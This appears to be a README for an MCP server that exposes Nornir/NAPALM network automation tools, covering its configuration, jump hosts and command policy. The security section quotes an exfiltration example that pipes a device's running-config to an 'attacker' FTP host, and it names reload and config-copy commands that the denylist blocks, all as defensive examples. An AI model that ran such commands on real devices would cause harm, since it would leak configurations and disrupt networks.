Skip to main content
Glama

🌐 Nornir MCP Server

License: MIT

An MCP server, built on the official MCP Python SDK v2's MCPServer class, providing network automation tools powered by Nornir and NAPALM.

This server acts as a bridge, exposing Nornir/NAPALM network operations as MCP (Model Context Protocol) tools, making them easily accessible from compatible MCP clients.

✨ Key Features

  • Concurrent & Multi-vendor: Leverages Nornir for inventory management and concurrent task execution against network devices using NAPALM for multi-vendor support.

  • Expanded Toolset: Provides over 20 tools, including a wide range of NAPALM getters (get_facts, get_interfaces), execution commands (send_command, ping, traceroute), and inventory management (list_all_hosts).

  • Structured, Token-Efficient Output:

    • send_command returns ntc-templates-parsed structured data (a list of dicts) instead of raw CLI text whenever a template exists for the platform+command — much cheaper for an LLM to read — falling back to raw text automatically otherwise. Only applies on platforms whose NAPALM driver is Netmiko-backed (ios, nxos_ssh, iosxr, ...); eAPI/NETCONF-based drivers (eos, junos, ...) always get raw text.

    • send_command also passes through SSH output-filtering pipes (| include ..., | section ..., | begin ..., etc.) so the device itself trims the output before it ever reaches the model — see Command execution & security policy.

    • Every NAPALM getter tool (get_facts, get_interfaces, ...) declares a Pydantic return model via MCP's structured_output=True, so clients get a real JSON Schema instead of just a docstring — see MCP protocol features.

  • Robust Input Validation: Uses Pydantic models to validate all incoming data for tools, ensuring type safety and preventing errors from invalid inputs.

  • Secure Command Execution: send_command is gated by a configurable command policy (conf/command_policy.yaml) — an allowlist of read-only verbs (show, ping, ...) checked first, plus a denylist (exact commands, keywords, regex patterns) as defense-in-depth against dangerous commands smuggled after an allowed verb.

  • Containerized & Fast: Containerized with Docker 🐳 for easy setup and uses uv for lightning-fast Python dependency management within the container ⚡.

Related MCP server: nornir-mcp-server

🔧 Prerequisites

Before you begin, ensure you have the following installed:

⚙️ Configuration

Before running the server, you must configure your network inventory and device credentials:

  1. Navigate to the conf/ directory in the project.

  2. Edit hosts.yaml: Define your network devices, including their management IP, platform, credentials, and groups.

  3. Edit groups.yaml: Define device groups with shared properties.

  4. Edit defaults.yaml: Set default credentials and connection options.

    • ⚠️ Important Security Note: For production, strongly consider using Nornir's secrets management features to avoid storing plaintext credentials in YAML files.

  5. Review command_policy.yaml: Customize allowed_prefixes (which read-only verbs send_command accepts at all) and the denylist entries (blocked commands/patterns) to fit your security policies — see Command execution & security policy for how the two layers interact.

Reaching devices through a jump host / bastion

No code change needed on Linux/macOS: NAPALM's ssh-backed drivers (ios, nxos_ssh, iosxr, ...) wrap Netmiko internally, and Netmiko natively honors a standard OpenSSH config file's ProxyJump/ProxyCommand directives — point it at one and it tunnels the device connection through the jump host automatically.

  1. Copy conf/ssh_config.example to conf/ssh_config (gitignored — it can reveal internal hostnames/proxy topology) and fill in your real jump host(s).

  2. Point defaults.yaml (or a specific groups.yaml/hosts.yaml entry) at it:

    connection_options:
      napalm:
        extras:
          optional_args:
            ssh_config_file: conf/ssh_config

Netmiko's ProxyJump support is single-hop only (it raises an error for a comma-separated multi-hop chain); for a real multi-hop path use ProxyCommand instead with ssh -J hop1,hop2 -W %h:%p ... — see the two examples in conf/ssh_config.example.

The jump host's own SSH keys/known_hosts need to be set up on whichever machine actually runs this server — that's OS-level SSH, not something this project manages.

⚠️ Known limitation — running natively on Windows: ssh_config_file-based jump hosts do not work when this server runs directly under a native Windows Python interpreter (as opposed to inside the Linux-based Docker image, which is the supported production path and is unaffected). This was verified against a real device and root-caused down to the two libraries involved, not worked around blindly:

  1. Netmiko's _use_ssh_config() resolves the ssh_config path with os.path.abspath(), which always returns a backslash-separated path on Windows (e.g. C:\Users\me\nornir_mcp\conf\ssh_config), regardless of how the path is written in your config.

  2. That path gets embedded in a ProxyCommand string (ssh -F <path> -W host:port hop), which Paramiko's ProxyCommand then parses with shlex.split() in POSIX mode — where \ is an escape character, so every backslash is silently stripped (C:\Users\me\...\ssh_configC:Usersme...sshconfig), producing a nonexistent path and a connection failure.

This is unconditional — no conf/ssh_config or hosts.yaml change can avoid it, since both abspath() and shlex.split() behave this way regardless of input. Workarounds if you need to test jump-host connectivity from native Windows (not needed when deploying via Docker):

  • Establish a manual SSH local port-forward instead (ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>) and point hosts.yaml directly at 127.0.0.1:<local_port>, skipping ssh_config_file entirely.

  • Or run the server inside Docker/WSL2 even for local dev, where paths are POSIX-style and this doesn't occur.

▶️ Running the Server

Once configured, you can easily run the server using Docker Compose:

docker-compose up --build -d

This command starts the Nornir MCP server in a Docker container, accessible on port 8000 of your host machine. The container now uses run.py as its entrypoint, which supports both development and production modes.

To run the server locally (without Docker), use:

python run.py --dev

or simply:

python run.py

This will start the server on 127.0.0.1:8000 by default — pass --host 0.0.0.0 explicitly if you need it reachable from other machines (this server can push config and run commands on real devices, so it doesn't default to listening on every interface).

🔌 How to connect an MCP client

This project exposes the MCP server over HTTP using the streamable-http transport. There is a single endpoint:

  • HTTP API endpoint: http://:/mcp

Notes on transports and client setup:

  • The MCP server itself is an HTTP application (Starlette) served by Uvicorn. Connect MCP clients directly to /mcp using a client that supports the streamable-http transport.

  • There is no separate /sse endpoint — streamable-http is a single endpoint that already supports server-sent event streaming internally; it does not need (or expose) a second SSE path.

  • You do NOT need to run this project in stdio mode for typical HTTP clients. Previously included instructions referencing running the server in "stdio mode" and proxying it with Supergateway were inaccurate for the normal usage of this repository.

Example MCP client JSON configuration (HTTP/streamable-http):

{
  "name": "Nornir MCP (HTTP)",
  "url": "http://localhost:8000/mcp",
  "transport": "http"
}

🔒 Command execution & security policy

send_command is the one tool that sends arbitrary operator-supplied text to a device, so it's gated by conf/command_policy.yaml — a two-layer, allowlist-first model (this replaces the older conf/blacklist.yaml, which was denylist-only):

  1. allowed_prefixes (allowlist, checked first, the real security boundary): the command must start with one of these verbs (show, display, get, ping, traceroute by default) or it's rejected outright, regardless of anything else in the file. Leaving this empty disables the allowlist gate and falls back to denylist-only enforcement — not recommended.

  2. exact_commands / keywords / disallowed_patterns / regex_patterns (denylist, checked second, defense-in-depth): catches anything that starts with an allowed verb but smuggles something dangerous after it. A denylist alone is never complete on its own — real gaps found and fixed during hardening of this server include:

    • reload in 5 / reload at 02:00 slipping past an exact-match-only reload entry — fixed by matching reload as a whole word via keywords instead.

    • copy run start (a standard IOS abbreviation) slipping past the full-phrase keyword copy running-config startup-config — fixed with the regex pattern copy\s+run\S*\s+start\S*.

    • show running-config | redirect ftp://attacker/dump.txt — starts with the allowed verb show, so the allowlist alone doesn't stop it. Fixed by blocking pipe destination keywords (redirect, tee, append, save) while still allowing plain output-filtering pipes like | include, | section, | begin.

All of the above were verified against both unit tests and the real allowlist/denylist logic running against a live device, not just read from the code.

Output filtering pipes

send_command passes SSH pipe syntax straight through to the device (e.g. show interfaces | include up), so filtering happens on-device instead of in the returned payload — this cuts token usage substantially for large outputs like full running-configs. Only destination-style pipes (writing/exfiltrating output) are blocked by the policy above; filtering pipes are unaffected.

🧩 MCP protocol features (v2 SDK)

This server was migrated from mcp[cli]==1.15.0's FastMCP to mcp[cli]>=2.1.1's MCPServer and takes advantage of several v2-only mechanisms:

  • Tool Annotations (mcp.types.ToolAnnotations): every tool declares read_only_hint / destructive_hint / idempotent_hint / open_world_hint so a client or orchestrating agent can tell at the protocol level which tools are safe to call without a confirmation step, instead of only knowing it from a docstring. Device-facing tools (get_facts, send_command, ...) are marked open_world_hint=True since they query a live external device whose state isn't fully known ahead of time; local-only tools (list_all_hosts, validate_params) are marked open_world_hint=False.

  • Structured tool output (@mcp.tool(structured_output=True)): every NAPALM getter tool returns a Pydantic model (DeviceTaskResult, TracerouteResultModel) instead of a bare dict, so MCP auto-generates a JSON output schema for clients and strictly validates the real return value against that schema at runtime (raising an error on mismatch, not just documenting the shape). send_command and list_all_hosts deliberately don't use this — their return shape genuinely varies (ntc-templates match vs. raw text; success vs. differently-shaped error dict), and MCP v2's strict runtime validation would reject a legitimately-varying shape.

  • Cache hints (mcp.server.caching.CacheHint): tools/list, resources/list, resources/templates/list, prompts/list, and server/discover are hinted as public/5-minute-cacheable, since the registered tool/resource/prompt set only changes on redeploy. resources/read gets a shorter 30-second hint instead, since resource content (inventory, topology) can change if someone edits the conf/ YAML while the server is running.

  • Resource security (enabled by default for file-backed resources): path traversal, absolute paths, and null bytes are rejected automatically when resolving a resource URI — verified empirically, not just assumed from the SDK's defaults.

  • Not used — MCP logging capability (Context.info()/.warning()): this server logs locally via the standard logging module rather than through MCP's Context-based protocol logging. That MCP capability is deprecated as of the 2026-07-28 spec revision (SEP-2577, superseded by OpenTelemetry) — confirmed by an actual MCPDeprecationWarning raised at runtime when it was tried during development. It was removed rather than kept behind a deprecated API.

  • Not used — progress reporting / resource-update notifications: evaluated and intentionally skipped. Every tool here operates on one device via one synchronous Nornir task run (including send_command's multi-command case, which resolves inside a single task, not a loop of async-layer calls), so there's no natural midpoint to report progress from without breaking Nornir's one-task-per-connection model — splitting send_command into per-command async-layer calls would force a new SSH connection per command instead of reusing one, a real performance regression for a token/UX benefit that doesn't apply to this server's typical single-device, few-command usage.

🧠 Prompts (custom prompt functions)

This server supports registering custom prompt functions that return a list of messages (MCP Prompt format). Prompts let you predefine conversational inputs that MCP clients or LLM-driven agents can call as named prompts. The MCP Python SDK's MCPServer class exposes a @server.prompt() decorator to register functions.

Key features:

  • Register synchronous or async prompt functions using @server.prompt().

  • Optionally provide a name, title, and description to make prompts discoverable in MCP clients.

  • Prompts can return structured messages including resource references (useful for returning file contents or inventory snippets).

How to add a prompt (example):

@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
    hosts = nr_mgr.list_hosts()
    return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]

Async example with a resource:

@server.prompt()
async def show_topology() -> list:
    topo = await server.read_resource("resource://topology")
    return [{"role": "user", "content": {"type": "resource", "resource": topo}}]

Usage notes:

  • After registering prompts, clients can discover them via the MCP ListPrompts request and call them by name.

  • Keep prompt functions lightweight and deterministic; avoid long-running operations inside prompts. If you need data gathered from devices, consider registering a tool and calling it from the prompt or returning a short resource reference that the client can fetch.

Security:

  • Prompts run inside the server process; do not perform unsafe file operations or execute untrusted code in prompt functions.

📦 Manual / local installation

Quick start — Docker (recommended)

  1. Build and run with docker-compose (from repo root):

docker-compose up --build -d

This starts the server in the container and exposes it on port 8000 by default.

Quick start — Local

  1. Create and activate a virtual environment.

& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate
  1. Install runtime dependencies (example):

pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"
  1. Run the server locally (binds to 127.0.0.1:8000 by default — pass --host 0.0.0.0 for a container or to expose it to other machines):

python run.py

Or with uv (recommended when using the included runner):

uv run .\run.py

If you need to change host/port use the --host and --port flags when running run.py.

📚 Resources provided by the server

  • resource://inventory/hosts — returns JSON array of hosts with sanitized fields (name, hostname, platform, groups, data). Sensitive keys such as username, password, and secret are removed.

  • resource://inventory/hosts/{keyword} — same output filtered by a keyword (case-insensitive) that matches name, hostname, platform, group names, or data values.

  • resource://inventory/groups — returns groups mapping (sanitized).

  • resource://topology — parsed resources/topology.json.

  • resource://cisco_ios_commands — parsed resources/cisco_ios_commands.json.

How to add your own resources

  1. Edit resources.py and add a function named resource_<name> (e.g., resource_my_tools).

  2. If your function needs the Nornir manager, accept a single parameter named nr_mgr.

  3. Add an entry to RESOURCE_MAP if you want a custom URI; otherwise a default URI resource://user/<name> is used.

Example resources.py snippet

def resource_my_static():
  return {"hello": "world"}

def resource_my_hosts(nr_mgr):
  # returns a JSON-serializable list of hosts
  return nr_mgr.list_hosts()

🔐 Security notes

  • Inventory YAML files may contain credentials. For production, prefer secrets management (Vault, environment variables, or Nornir secrets plugins) over plaintext YAML.

  • The server strips common sensitive keys (username, password, secret) from resources served via resource://inventory/*.

  • send_command is gated by conf/command_policy.yaml — see Command execution & security policy above.

  • By default the server binds to 127.0.0.1, not 0.0.0.0 — this server can push config and run commands on real devices, so it doesn't default to listening on every interface. Pass --host 0.0.0.0 explicitly if you need it reachable from other machines (e.g. inside Docker).

  • conf/ssh_config (real jump-host config) is gitignored, since it can reveal internal hostnames/proxy topology — only conf/ssh_config.example is committed.

Contributing

  • Open an issue or PR for changes. Keep changes small and include tests where appropriate.

License

  • MIT

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    FastMCP is a comprehensive MCP server allowing secure and standardized data and functionality exposure to LLM applications, offering resources, tools, and prompt management for efficient LLM interactions.
    3
    MIT
  • A
    license
    Not graded
    quality
    D
    maintenance
    MCP server for network operations that lets AI assistants interact with Cisco/Juniper network devices through safe, well-defined tools like compliance audits and configuration backups.
    MIT